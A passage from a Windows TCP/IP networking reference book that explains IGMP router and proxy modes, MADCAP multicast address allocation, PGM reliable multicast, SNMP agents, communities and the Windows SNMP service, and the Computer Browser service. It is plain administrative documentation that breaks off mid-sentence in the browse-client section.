Note The Internet Protocol Version 6 (TCP/IPv6) component in Windows Server 2008 and Windows Vista
supports IPv6 multicast forwarding, which you can enable with the netsh interface ipv6 set global
multicastforwarding=enable command. However, at the time of the publication of this book, there is no
mechanism to update the IPv6 multicast forwarding table.
IGMP Routing Protocol Component
Because there are no multicast routing protocols provided with Windows Server 2008 or Windows
Server 2003, the maintenance of entries in the IPv4 multicast forwarding table is a function of IGMP, a
component that is added as an IPv4 routing protocol.
To add the IGMP routing protocol component, do the following:
1. Click Start, click Control Panel, double-click Administrative Tools, and then double-click Routing
And Remote Access.
2. In the console tree, open Routing And Remote Access, the server name, and then either IPv4 or IP
Routing.
3. In the console tree, right-click General, and then click New Routing Protocol.
4. In the Select Routing Protocol dialog box, click IGMP Router And Proxy, and then click OK.
The IGMP routing protocol component might have already been added, depending on your choices in
the Routing and Remote Access Server Setup wizard.
Although the IGMP routing protocol component provides some limited ability to create or extend
multicast-enabled IPv4 networks, it is not the equivalent of a multicast routing protocol, such as DVMRP
or PIM. It is not recommended for use to create a multicast-enabled IPv4 network of an arbitrary size or
topology.
After the IGMP routing protocol is added, you must add router interfaces by doing the following:
1. In the console tree of the Routing and Remote Access snap-in, open Routing And Remote Access,
the server name, and then either IPv4 or IP Routing.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 497
2. In the console tree, right-click IGMP, and then click New Interface.
3. In Interfaces, click the interface you want to enable, and then click OK.
4. On the General tab of the IGMP Properties dialog box for the interface, verify that the Enable IGMP
check box is selected.
5. Under Mode, click IGMP Router or IGMP Proxy. Under IGMP Protocol Version, select the version
of IGMP being used in your network.
6. Click OK.
Figure A-6 shows the General tab for the properties of an IGMP interface.
Figure A-6 The General tab for the properties of an IGMP interface
When you add an interface to the IGMP routing protocol component in the Routing and Remote Access
snap-in, you must configure the interface with one of the following:
IGMP router mode
IGMP proxy mode
IGMP Router Mode
When an IGMP routing protocol interface is configured in IGMP router mode, it performs the following
functions:
Listens in multicast promiscuous mode.
Listens for IGMP Host Membership Report messages and Leave Group messages.
Sends IGMP Host Membership Queries.
Maintains entries in the IPv4 multicast forwarding table.
IGMP router mode can be enabled on multiple interfaces. For each interface, a specific version of IGMP
can be configured. The default version is IGMP v3.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 498
IGMP Proxy Mode
While the purpose of IGMP router mode is to act as a multicast router, the purpose of IGMP proxy
mode is to act as a multicast proxy for hosts on interfaces on which IGMP router mode is enabled.
When an IGMP routing protocol interface is configured in IGMP router mode, it performs the following
functions:
Forwards IGMP Host Membership Reports
All IGMP Host Membership Reports received on IGMP router mode interfaces are retransmitted on
the IGMP proxy mode interface.
Registers multicast MAC addresses
For shared access technologies such as Ethernet, the network adapter is left in unicast listening
mode. For each unique group registered by IGMP Host Membership Reports forwarded on the
IGMP proxy mode interface, the network adapter is programmed to pass up frames with the
corresponding multicast MAC address. Each additional multicast MAC address is an entry in the
table of interesting destination MAC addresses on the network adapter. Each network adapter has
a maximum number of entries it can store. If the maximum number of entries is used, then the
IGMP routing protocol enables multicast promiscuous listening mode on the network adapter.
Adds entries to the multicast forwarding table
When non-local multicast traffic is received on an IGMP router mode interface, the IGMP routing
protocol adds or updates an entry to the multicast forwarding table to forward the multicast traffic
out the IGMP proxy mode interface. The end result of this process is that any non-local multicast
traffic received on IGMP router mode interfaces is flooded, or copied, to the IGMP proxy mode
interface.
Receives multicast traffic received on IGMP proxy mode interfaces
Multicast traffic received on the IGMP proxy mode interface corresponding to the groups registered
by hosts on IGMP router mode interfaces are forwarded to the appropriate interfaces using the IP
protocol and the multicast forwarding table.
The purpose of IGMP proxy mode is to connect a Windows Server 2008 or Windows Server 2003
router to a multicast-enabled IPv4 network, such as the multicast backbone of the IPv4 Internet
(MBone), or a private intranet that is using multicast routing protocols, such as DVMRP and PIM. Figure
A-7 shows an example of using IGMP router mode and IGMP proxy mode to connect a small office
network to the MBone.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 499
Figure A-7 Using IGMP proxy mode to connect a small office network to the MBone
The IGMP proxy mode interface acts like a host and joins host groups on behalf of hosts on its IGMP
router mode interfaces. Multicast traffic sent to host members on IGMP router mode interfaces are
received on the IGMP proxy mode interface and forwarded by the Internet Protocol Version 4
(TCP/IPv4) or Internet Protocol (TCP/IP) component. Multicast traffic sent by hosts on IGMP router
mode interfaces are flooded on the IGMP proxy mode interface where a downstream IPv4 multicast-
enabled router can either forward the traffic or ignore it.
IGMP proxy mode can only be enabled on a single IGMP routing protocol interface. The correct
interface on which to enable IGMP proxy mode is the interface attached to a subnet containing a
multicast router running multicast routing protocols. In other words, the IGMP proxy mode interface
"points" to the multicast-enabled intranet.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 500
IPv4 Multicast Address Allocation with MADCAP
The Multicast Address Dynamic Client Allocation Protocol (MADCAP) is an Internet standard for
multicast address allocation defined in RFC 2730. The primary benefit of MADCAP is that you can use
it to leverage your existing Windows Dynamic Host Configuration Protocol (DHCP) infrastructure to
assign multicast IPv4 addresses in the same way that you assign unicast IPv4 addresses.
The multicast address allocation uses the following components:
MADCAP servers
MADCAP servers allocate IPv4 multicast addresses. For Windows, a MADCAP server is a
computer running Windows Server 2008 or Windows Server 2003 and the DHCP Server service.
Using the DHCP snap-in, you must configure and activate at least one multicast scope.
MADCAP clients
MADCAP clients use the MADCAP protocol to request IPv4 multicast addresses from a MADCAP
server. Windows supports a MADCAP application programming interface (API) so that an
application can use MADCAP to request, renew, or release a unique IPv4 multicast address from a
MADCAP server.
An example of a MADCAP client application is a video conferencing server service that uses MADCAP
to receive a unique multicast address and then communicate that address to connecting video clients.
After the initial connection negotiation, the video client computer listens on the IPv4 multicast address
for the video stream.
Using Multicast Scopes
A multicast scope is a range of IPv4 multicast addresses that the MADCAP server is configured to
assign to requesting MADCAP clients. When deciding the multicast address ranges to use for multicast
scopes on your MADCAP server, there are two ranges of addresses that are recommended:
Administratively scoped multicast addresses are in the 239.192.0.0/14 range (from 239.192.0.1 to
239.255.255.255) and are intended for use by an organization using multicast scopes privately for its
own internal use. Administratively scoped multicast addresses are described in detail in RFC 2365.
Globally scoped multicast addresses are in the range 233.0.0.0/8 (from 233.0.0.1 to 233.255.255.255)
and are intended for use by an organization using multicast scopes on the Internet. Within the
233.0.0.0/8 range, the second and third octets are used for the autonomous system (AS) number,
assigned to the organization by an Internet Assigned Numbers Authority (IANA) registry. The last octet
identifies the multicast group. For more information on AS numbering, see RFC 1930.
The Windows Server 2008 or Windows Server 2003 DHCP Server service supports both the DHCP and
MADCAP protocols. These protocols function separately and are not dependent on each other. To
configure a DHCP-only server, configure DHCP scopes but no multicast scopes. To configure a
MADCAP-only server, configure multicast scopes but no DHCP scopes.
To create a multicast scope on a computer running Windows Server 2008 or Windows Server 2003 and
the DHCP Server service, do the following:
1. Click Start, click Settings, click Control Panel, double-click Administrative Tools, and then double-
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 501
click DHCP.
2. In the console tree, click the applicable DHCP server.
3. On the Action menu, click New Multicast Scope.
4. Follow the instructions in the New Multicast Scope wizard.
The New Multicast Scope wizard guides you through the configuration of the multicast address range,
exclusions, lease duration, and scope activation.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 502
Reliable Multicast with Pragmatic General Multicast (PGM)
Multicast data streams are typically sent using the User Datagram Protocol (UDP). Transmission
Control Protocol (TCP) is not used because it is designed for one-to-one unicast streams of data.
Multicast data streams sent over UDP are inherently unreliable because UDP does not provide
guaranteed delivery or retransmission of lost packets. Unless reliability is provided by the upper layer
protocol, lost packets in UDP-based multicast data streams cannot be detected or recovered.
The Reliable Multicast Transport working group of Internet Engineering Task Force (IETF) has created
a set of standards for the reliable transmission of multicast data streams from one or multiple senders
to multiple receivers. There are many protocol standards that provide reliable multicast at the transport
or application layers. Existing reliable multicast protocols fall into the following four categories:
1. Negative acknowledgement (NACK)-only
Receivers send NACK packets to request, from the sender, the retransmission of missing packets in
the multicast data stream. NACK-only protocols do not require any additional support from routers in
the network.
2. Tree-based acknowledgement (ACK)
Receivers send positive acknowledgments to indicate multicast data packets that are successfully
received.
3. Asynchronous Layered Coding (ALC)
Senders provide forward error correction (FEC) with no messages from receivers or the routers of the
network.
4. Router assist
Receivers send NACK packets. Routers in the network assist with retransmitting lost packets.
PGM Overview
PGM is a router assist type of reliable multicast protocol that is described in RFC 3208. PGM-enabled
receivers use NACK packets to request the retransmission of missing packets. PGM-enabled routers in
a network define a logical PGM topology and can facilitate the recovery of lost packets by sending them
on behalf of the sender. The PGM topology is overlaid on top of the physical IPv4 network topology.
PGM routers define a series of PGM hops between a sender and its receivers. Although defined in RFC
3208, PGM routers are not required. The PGM topology of a network can consist of the single logical
hop between the sender and the receivers.
PGM does not provide all of the capabilities of TCP for multicast data streams. For example, PGM does
not provide sender or receiver-side flow control, byte stream windowing, or congestion control. PGM
provides basic reliability for PGM-enabled applications.
PGM is a transport layer multicast protocol that runs directly over IPv4 using protocol number 113. It
does not use TCP or UDP for its own messages or for multicast data transmission. PGM is the only
reliable multicast protocol supported by Windows Server 2008, Windows Vista, and Windows Server
2003.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 503
Adding and Using the Reliable Multicast Protocol
To use PGM on computers running Windows Server 2008, Windows Vista, or Windows Server 2003,
you must add the Reliable Multicast Protocol component and create PGM-enabled applications.
Adding the Reliable Multicast Protocol
To add the Reliable Multicast Protocol to a connection, complete the following steps:
1. From the Network Connections folder, right-click the connection, and then click Properties.
2. In the properties dialog box for the connection, click Install.
3. In Select Network Feature Type or Select Network Component Type, double-click Protocol.
4. In the Network Protocol list, click Reliable Multicast Protocol, and then click OK.
5. To save changes to the connection properties, click Close.
The Reliable Multicast Protocol component appears in the list of items being used by the connection,
but has no configurable properties.
Writing PGM-enabled Applications
To use PGM, an application must use Windows Sockets and the PGM socket options. A sender
application uses Windows Sockets to create a PGM socket, bind the socket to any address, and then
connect to the multicast group address. A receiver application uses Windows Sockets to create a PGM
socket, bind the socket to the multicast group address, post a listen on the new socket, and then use
the accept() function to obtain a socket handle for the PGM session.
Microsoft products that use PGM include Message Queuing (also known as MSMQ) and Automated
Deployment Services (ADS).
How PGM and the Reliable Multicast Protocol Works
A receiver uses the following process:
1. The multicast application opens a listen socket with the appropriate reliable multicast socket options.
2. The receiver sends an IGMP Host Membership Report message to inform the local routers of the
receiver's membership in the multicast group.
A sender uses the following process:
1. The multicast application opens a send socket with the appropriate reliable multicast socket options.
2. The multicast application begins to send data. PGM packets containing data are sent beginning with
a sequence number of 0, and are incremented by 1 for subsequent packets.
3. The multicast-enabled routers forward the multicast data packets throughout the IPv4 network to the
subnets that contain group members.
When a receiver determines that there is a missing packet, it sends a PGM message to its nearest
PGM router, requesting that the missing packet with a specific sequence number be resent. This
request is forwarded to either the original source or a PGM router that stores copies of recent packets
sent by the source. In either case, the missing packet is sent directly to the requesting receiver.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 504
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 505
Appendix B – Simple Network Management Protocol
Abstract
This appendix describes the Simple Network Management Protocol (SNMP) and its support in the Microsoft Windows
operating systems. SNMP is used in enterprise network environments to manage many types of network devices. A
network administrator must understand SNMP to integrate computers running Windows Vista, Windows XP, Windows
Server 2008, or Windows Server 2003 into an SNMP-managed environment.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 506
SNMP Overview
SNMP is a network management protocol and infrastructure widely used on IP networks. It was
originally developed in the Internet community to monitor and troubleshoot routers and bridges. SNMP
allows network administrators to manage network devices such as workstation or server computers,
routers, switches, and wireless access points.
SNMP can be used to:
Configure devices remotely You can use an SNMP to configure a device across the network from a
central management computer.
Monitor network performance You can use an SNMP to systematically and periodically query
devices for current performance statistics to monitor network throughput.
Detect network faults or inappropriate access A device can use SNMP to send a message when
specific events occur. Common types of conditions to report to a management system include a device
being shut down and restarted, a link failure being detected on a router, inappropriate access, and low
disk space on a file server.
SNMP uses a distributed architecture consisting of the following components:
SNMP management systems
The SNMP management system, also known as a management station or a management console,
is a computer running SNMP management software that sends information and update requests to
devices running an SNMP agent.
The SNMP management system requests information from a device, such as the amount of hard
disk space available or the number of active sessions. If the management system has been granted
write access to a device, the management system can also change a device's configuration.
SNMP agents
An SNMP agent is a device running software that collects information and responds to
management system requests for information. The SNMP agent software can be configured to
determine which statistics are tracked and which management systems are authorized to request
information. Typically, agents do not originate messages, but only respond to them. The exception
is when the agent is configured to report a specific event, such as a system restart or an
inappropriate access.
Figure B-1 shows an example of SNMP being used on a network.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 507
Figure B-1 An example of SNMP being used on a network
SNMP is defined in RFC 1157.
The Management Information Base
The information that an agent can collect and a management system can request from an agent is
contained in a Management Information Base (MIB). A MIB is a set of manageable objects representing
various types of information about a network device, such as the number of active sessions or the
version of network operating system software that is running on a host. SNMP management systems
and agents share a common understanding of MIB objects. For a given MIB, the agent maintains
information about the objects in the MIB and the management system retrieves the information in the
MIB from the agent.
The Hierarchical Name Tree
The name space for MIB objects is hierarchical. It is structured so that each manageable object can be
assigned a globally unique name. When a management system requests a data object from an agent, it
includes the globally unique name in the request. Authority for parts of the name space is assigned to
individual organizations. This allows organizations to assign names to new objects without consulting
an Internet authority for each assignment. For example, the name space assigned to the LAN Manager
MIB II is 1.3.6.1.4.1.77. LAN Manager is an obsolete Microsoft operating system. Microsoft has also
been assigned 1.3.6.1.4.1.311, and all new MIBs for Microsoft-specific technologies are created under
that branch. Microsoft has the authority to assign names to objects anywhere below that portion of the
name space.
Figure B-2 shows a portion of the SNMP hierarchical name tree.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 508
Figure B-2 The SNMP hierarchical name tree
The object identifier in the hierarchy is written as a sequence of number labels beginning at the root and
ending at the object. Labels are separated with periods. For example, the object identifier for MIB II is
1.3.6.1.2.1, corresponding to the object name iso.org.dod.internet.management.mibii. The object
identifier for LAN Manager MIB II is 1.3.6.1.4.1.77, corresponding to the object name
iso.org.dod.internet.private.enterprise.lanmanager.
The name space used to map object identifiers is separate from the hierarchical name space
associated with Domain Name System (DNS) domain names.
SNMP Messages
SNMP uses the following messages:
Get-request Sent by an SNMP management system to request information about a single MIB object
on an SNMP agent (for example, the number of packets forwarded).
Get-next-request An extended type of request message sent by an SNMP management system that
can be used to browse an entire tree of management objects. When processing a Get-next-request
request for a particular object, the agent returns the identity and value of the next object in the MIB,
based on the previous request. The Get-next-request request is useful for dynamic tables, such as an
IPv4 or IPv6 route table.
Getbulk-request Sent by an SNMP management system to request that the data transferred by the
agent be as large as possible within the restraints of maximum message size. This message minimizes
the number of message exchanges required to retrieve a large amount of management information.
Set-request Sent by an SNMP management system to assign an updated value for a MIB object the
agent (provided write access is enabled on the SNMP agent). Management systems use Set-request
messages to remotely configure SNMP agents.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 509
Get-response Sent by the SNMP agent in response to a Get-request, Get-next-request, Getbulk-
request, or Set-request message.
Trap An unsolicited message sent by an SNMP agent to an SNMP management system when the
agent detects that a certain type of event has occurred. The SNMP management system that receives
a trap message is known as a trap destination. For example, a trap message might be sent when a
device is restarted.
The Get-request, Get-next-request, Getbulk-request, and Set-request messages are sent by a
management system to an agent as a unicast UDP message sent to the IPv4 address of the agent and
destination UDP port 161. An agent sends the Trap message to a management system as a unicast
UDP message sent to the IPv4 address of the management system and destination UDP port 162.
Figure B-3 shows the exchange of messages between an SNMP management system and an SNMP
agent.
Figure B-3 The exchange of messages between an SNMP management system and an SNMP agent
All SNMP messages are sent without data protection. To protect SNMP messages, use Internet
Protocol security (IPsec) to protect traffic between SNMP management systems and agents. Both the
management system and the agent must support IPsec. For more information about IPsec, see
Chapter 13, "Internet Protocol Security (IPsec) and Packet Filtering."
SNMP Communities
Management systems and agents belong to an SNMP community, which is a collection of hosts
grouped together for administrative purposes. The use of a community name provides context checking
for agents that receive requests and initiate traps, and for management systems that initiate requests
and receive traps. An agent will not accept a request from a management system outside its configured
communities. A management system will not accept a trap from an agent outside its configured
communities.
You use community names primarily as an element for organization, not security. SNMP messages are
typically sent without IPsec protection. By capturing unprotected SNMP messages, a malicious user
can determine the SNMP community name and send their own SNMP messages with the correct
community name.
There is no relationship between community names and domain or workgroup names. Community
names represent a named context for groups of the components of SNMP infrastructure.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 510
Agents and management systems can be members of multiple communities at the same time, allowing
for flexibility in configuring the administrative elements of your SNMP infrastructure.
Figure B-4 shows an example of two defined communities—IT and Admin.
Figure B-4 An example of SNMP communities
Only the agents and management systems that are members of the same community can communicate
with each other. For example:
Agent1 can receive and send messages to Manager2 because they are both members of the Admin
community.
Agent2, Agent3, and Agent4 can receive and send messages to Manager1 because they are all
members of the IT community.
The default name for many SNMP agents is Public. The SNMP service for Windows Server 2008,
Windows Vista, and Windows Server 2003 does not have a configured SNMP community name. The
SNMP service for Windows XP uses the default name of Public.
How SNMP Works
The following steps describe how SNMP works in a typical get operation:
1. An SNMP management system sends a request to an SNMP agent.
The request is a Get-request, Get-next-request, or Getbulk-request message with one or more data
objects and a community name, and is sent to the SNMP agent's IPv4 address and destination UDP
port 161. For example, the SNMP management system sends a Get-request message with the
community name IT requesting the number of active sessions.
2. The SNMP agent receives the SNMP message.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 511
The community name is verified. If the community name is invalid or the packet is malformed, it is
silently discarded. If the community name is valid, the request is passed to the appropriate MIB
component. The MIB component returns the requested information to the agent. For this example,
the SNMP agent retrieves the number of active sessions from the MIB.
3. The SNMP agent sends a Get-response message to the SNMP management system with the
requested information.
For this example, the SNMP agent sends a Get-response message with the community name IT that
contains the number of active sessions.
Figure B-5 shows this process.
Figure B-5 An example of how SNMP works
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 512
Windows SNMP Service
The SNMP service in Windows is SNMP agent software that provides information to management
systems running SNMP management software. The SNMP service:
Responds to requests for status information from multiple hosts.
Reports significant events (traps) to multiple hosts as they occur.
Uses host names and IPv4 addresses to identify the hosts to which it reports information and from
which it receives requests.
The Windows SNMP service is a Windows Sockets application. It provides an internal infrastructure
that allows third-party software and hardware developers to create their own MIBs for use with the
Windows SNMP service and for the development of SNMP management system applications.
The SNMP service in Windows Server 2008 and Windows Server 2003 supports the following MIBs:
Internet MIB II
Internet MIB II is a superset of the previous standard, Internet MIB I. Internet MIB II defines objects
essential for either fault or configuration analysis. Internet MIB II is defined in RFC 1212.
LAN Manager MIB II
LAN Manager MIB II defines objects for share, session, user, and logon information. Most LAN
Manager MIB II objects have read-only access because typically SNMP messages are not
protected.
DHCP MIB
The Dynamic Host Configuration Protocol (DHCP) MIB defines objects to monitor DHCP server
activity. This MIB is automatically installed when the DHCP server service is installed. It contains
objects for monitoring DHCP, such as the number of DHCPDiscover messages received and the
number of addresses leased out to DHCP clients.
WINS MIB
The Windows Internet Name Service (WINS) MIB defines objects to monitor WINS server activity.
This MIB is automatically installed when the WINS Server service is installed. It contains objects for
monitoring WINS, such as the number of resolution requests successfully processed, the number of
resolution requests that failed, and the date and time of the last database replication.
IIS MIBs
The Internet Information Services (IIS) MIBs define objects to monitor File Transfer Protocol (FTP)
and Hypertext Transfer Protocol (HTTP) activity. These MIBs are automatically installed when IIS is
installed. They contain objects for monitoring the FTP and Web services of IIS and include counters
for total bytes sent and total files sent.
RADIUS Server MIBs
The Remote Authentication Dial-In User Service (RADIUS) Server MIBs define objects to monitor
RADIUS server authentication and accounting activity. These MIBs are automatically installed when
the Internet Authentication Service (IAS) is installed. They contain objects for monitoring the
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 513
RADIUS server, such as the number of authentication requests successfully processed and the
number of accounting requests.
The RADIUS Authentication Server MIB is defined in RFC 2619. The RADIUS Accounting Server
MIB is defined in RFC 2621.
Installing and Configuring the SNMP Service
To install the SNMP service in Windows Vista, do the following:
1. From Control Panel-Programs and Features, click Turn Windows features on or off.
2. In Windows Features, click SNMP feature, and then click OK.
To install the SNMP service in Windows Server 2008, use the Server Manager snap-in to add the
SNMP Service feature.
To install the SNMP service in Windows Server 2003 and Windows XP, do the following:
3. Click Start, click Control Panel, double-click Add Or Remove Programs, and then click
Add/Remove Windows Components.
4. In Components, click Management And Monitoring Tools (but do not select or clear its check
box), and then click Details.
5. Select the Simple Network Management Protocol check box, and click OK.
6. Click Next.
The SNMP service starts automatically after installation.
Unlike many services in Windows, the SNMP service does not have a corresponding snap-in. Instead,
you configure the SNMP service through additional tabs on the properties of the SNMP service in the
Services snap-in.
To configure the SNMP service, do the following:
1. Click Start, click Control Panel, double-click Administrative Tools, and then double-click
Computer Management.
2. In the console tree, open Services And Applications, and then click Services.
3. In the details pane, right-click SNMP Service, and then click Properties.
You configure the SNMP service from the following tabs:
Agent
Traps
Security
Agent Tab
On the Agent tab, you can configure a contact person, the physical location of the computer, and
enable and disable the types of information that you want the SNMP service to collect. By default the
Applications, Internet, and End-to-end categories are enabled.
Figure B-6 shows the Agent tab.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 514
Figure B-6 The Agent tab for the SNMP service
Traps Tab
On the Traps tab, you configure the community name that is included in Trap messages and the trap
destinations—a list of IPv4 addresses to which Trap messages are sent.
Figure B-7 shows the Traps tab.
Figure B-7 The Traps tab for the SNMP service
Security Tab
On the Security tab, you configure the following:
Whether the SNMP service will send a trap to all trap destinations if it receives a request that does not
contain a recognized community name.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 515
The list of accepted community names.
Whether to accept SNMP messages from any host, or from a list of hosts by IPv4 address or host
name.
Figure B-8 shows the Security tab.
Figure B-8 The Security tab for the SNMP service
Evntcmd Tool
You can use the Evntcmd.exe tool at a command prompt to configure SNMP traps based on events
recorded in system logs. You can also use Evntcmd.exe to specify where trap messages are sent
within an SNMP community.
Appendix B – Simple Network Management Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 516
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 517
Appendix C – Computer Browser Service
Abstract
This appendix describes how the Computer Browser service on computers running Microsoft Windows operating
systems works to display the list of workgroups and domains and the servers within them for the contents of the
Network and Microsoft Windows Network windows and related windows in My Network Places. A network
administrator must understand how the Computer Browser service works over an IPv4 network to determine why some
domains, workgroups, or the server computers within them are not displayed.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 518
Computer Browsing Overview
The Computer Browser service in Windows maintains an updated list of domains, workgroups, and
server computers on the network and supplies this list to client computers upon request.
A domain is a grouping of computers that provide a centralized account database and security. The
definition of domain for computer browsing is separate from its definition for Active Directory. In Active
Directory, a domain is a collection of computer, user, and group objects defined by the administrator.
These objects share a common directory database, security policies, and security relationships with
other domains.
A workgroup is a logical grouping of computers that helps users locate shared resources such folders
and printers. Workgroups do not offer the centralized user accounts and security offered by domains. A
LAN group is either a domain or a workgroup.
The Computer Browser service maintains a distributed series of lists of available network resources as
viewed from the following locations:
Using the new Windows XP-style Start menu, click Start, and then click My Network Places. In the My
Network Places window, click Entire Network. In the Entire Network window, double-click Microsoft
Windows Network.
Using the classic Windows Start menu, double-click My Network Places on your desktop. In the My
Network Places window, double-click Entire Network. In the Entire Network window, double-click
Microsoft Windows Network.
For either method, the Microsoft Windows Network window displays a list of LAN groups.
The list of LAN groups and the servers within them are distributed to automatically elected browse
server computers. Computers elected as browse servers eliminate the need for all computers to
maintain a list of all the LAN groups and their servers on the network and lowers the amount of network
traffic required to build and maintain a list of all the computers on the network.
The browse list, the list of LAN groups and the servers within them that are accumulated and distributed
by the Computer Browser service, is separate from the list of computers maintained in Active Directory.
For example, when you click Search Active Directory in the Network Tasks pane of the My Network
Places window, the Find Users, Contacts, And Groups dialog box is displayed. Queries using this
dialog box are performed against Active Directory, not against the browse list maintained by computers
running the Computer Browser service.
The Computer Browser service operates by exchanging a set of NetBIOS over TCP/IP (NetBT)
broadcast and unicast messages. There is no support for computer browsing over IPv6. If NetBT is
disabled, the Computer Browser service can no longer operate. This means that for a network that has
NetBT disabled and is just using the Domain Name System (DNS) and Active Directory, you cannot
view any LAN groups or servers using the Entire Network window. You must use find computers using
Active Directory.
Computer browsing over remote access connections is aided by the NetBT proxy in Windows Server
2008 and Windows Server 2003, which is enabled by default for Routing and Remote Access on all
interfaces that are not connected to the Internet.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 519
For more information about NetBT, see Chapter 11, "NetBIOS over TCP/IP" and Chapter 12 "Windows
Internet Name Service Overview."
The Computer Browser service in Windows performs three processes:
Collection of browsing information
Distribution of browsing information
Servicing of browse client requests
Browsing Collection and Distribution
The browsing collection and distribution processes occur between designated browse server
computers. The following types of browse servers are defined:
Master Browse Server
A computer that collects and maintains the browse list of available servers within its LAN group and
a list of other LAN groups and their Master Browse Servers. It also distributes the browse list to the
Backup Browse Servers.
Backup Browse Server
A computer that receives a copy of the browse list from the Master Browse Server, and distributes
information in the browse list to browse clients upon request.
Domain Master Browse Server
The first domain controller to register the NetBIOS name of Domain[1B] becomes the Domain
Master Browse Server. Besides being a Master Browse Server for its domain, the Domain Master
Browse Server synchronizes the browse list for the Master Browse Servers in the domain that are
located on remote subnets.
Computers are designated the Master Browse Server or a Backup Browse Server through an automatic
election process. For a given LAN group, there is only one Master Browse Server and zero or more
Backup Browse Servers. The number of Backup Browse Servers depends on the number of servers in
the LAN group.
Computers running Windows XP can perform the Master Browse Server and Backup Browse Server
roles. Only a computer running Windows Server 2008 or Windows Server 2003 that is acting as a
domain controller can perform the Domain Master Browse Server role.
The Collection Process
The Master Browse Server performs the collection process by accumulating the following information in
its browse list:
A list of servers within its LAN group
Periodically, every computer running the Server service within the LAN group broadcasts a Host
Announcement packet to the NetBIOS name LANGroup[1D]. The Server service corresponds to the
File and Printer Sharing for Microsoft Networks component in Network Connections and provides
file and print sharing using the Common Internet File System (CIFS), also known as the Server
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 520
Message Block (SMB) protocol. The Master Browse Server processes the Host Announcement
packet and adds or refreshes the sender’s computer name in the list of servers of the LAN group.
A list of other LAN groups
Periodically, every Master Browse Server of a LAN group broadcasts a Domain Announcement or
Workgroup Announcement packet to the NetBIOS name [01][02]__MSBROWSE__[01][02].
Contained in the Domain Announcement or Workgroup Announcement packet is the LAN group
name and the computer name of the Master Browse Server. Each Master Browse Server stores the
announced LAN group name and its associated Master Browse Server in the browse list.
The Distribution Process
The Master Browse Server distributes the browse list to the Backup Browse server computers that will
service the requests from browse clients. This occurs through the following:
Local Master Announcement packet
Periodically, the Master Browse Server broadcasts a Local Master Announcement packet to the
NetBIOS name LANGroup[1E]. This packet informs the Backup Browse Servers that a Master
Browse Server for the LAN group still exists. If the Master Browse Server does not periodically sent
a Local Master Announcement packet, a Backup Browse Server starts an election by broadcasting
an Election packet to the NetBIOS name LANGroup[1E]. The election process selects a new
Master Browse Server.
Browse list pull operation from Master Browse Server to Backup Browse Server
Periodically, each Backup Browse Server contacts the Master Browse Server in its LAN group to
download the browse list. The downloaded browse list includes the list of servers within the LAN
group and the list of other LAN groups and their associated Master Browse Servers.
Figure C-1 shows the collection and distribution process.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 521
Figure C-1 The Computer Browser service collection and distribution processes
Servicing Browse Client Requests
After the browse list has been built by the Master Browse Server and distributed to the Backup Browse
Servers, it can be used to service browse client requests.
Browse clients request the following:
The list of servers within its LAN group
The list of servers within another LAN group
The list of shares on a server
Obtaining the List of Servers Within its LAN Group
On a computer running Windows XP or Windows Server 2003 that is a member of a workgroup, you
can view the list of servers in its own workgroup by clicking on View Workgroup Computers in the
Network Tasks pane of the My Network Places window. On a computer running Windows XP or
Windows Server 2003 that is a member of a domain, you can view the list of servers in its own domain
by double-clicking your domain name in the Microsoft Windows Network window.
To get the list of servers within its LAN group, the browse client does the following:
1. Upon startup, the browse client broadcasts a Get Backup List Request packet to the NetBIOS name
LANGroup[1D].
2. The Master Browse Server responds to the client request with a list of computer names for Backup
Browse Servers in the LAN group.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 522
3. The client randomly selects one of the Backup Browse Servers. When the user wants to view the list
of servers in its LAN group, the computer sends the selected Backup Browse Server a request for the
servers in its LAN group.
4. The Backup Browse Server responds with the list of servers in the LAN group.
Figure C-2 shows this process.
Figure C-2 Servicing browse client requests
For subsequent requests for a list of servers within its LAN group, the client continues to use the list of
Backup Browse Server names obtained during startup and does not broadcast a new Get Backup List
Request packet. The success of the browse client request is dependent on the client getting a response
from the Master Browse Server and the client’s ability to resolve the computer name of the randomly
selected Backup Browse Server to its IPv4 address.
Obtaining the List of Servers Within Another LAN Group
On a computer running Windows XP or Windows Server 2003 that is a member of a workgroup, you
can view the list of servers in another LAN group by clicking on the LAN group name in the Browse For
Folder dialog box. On a computer running Windows XP or Windows Server 2003 that is a member of a
domain, you can view the list of servers in another LAN group by double-clicking the LAN group name
in the Microsoft Windows Network window.
To get the list of servers within another LAN group, the client broadcasts a Get Backup List Request
packet to the NetBIOS name LANGroup[1D]. The Master Browse Server for that LAN group responds
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 523
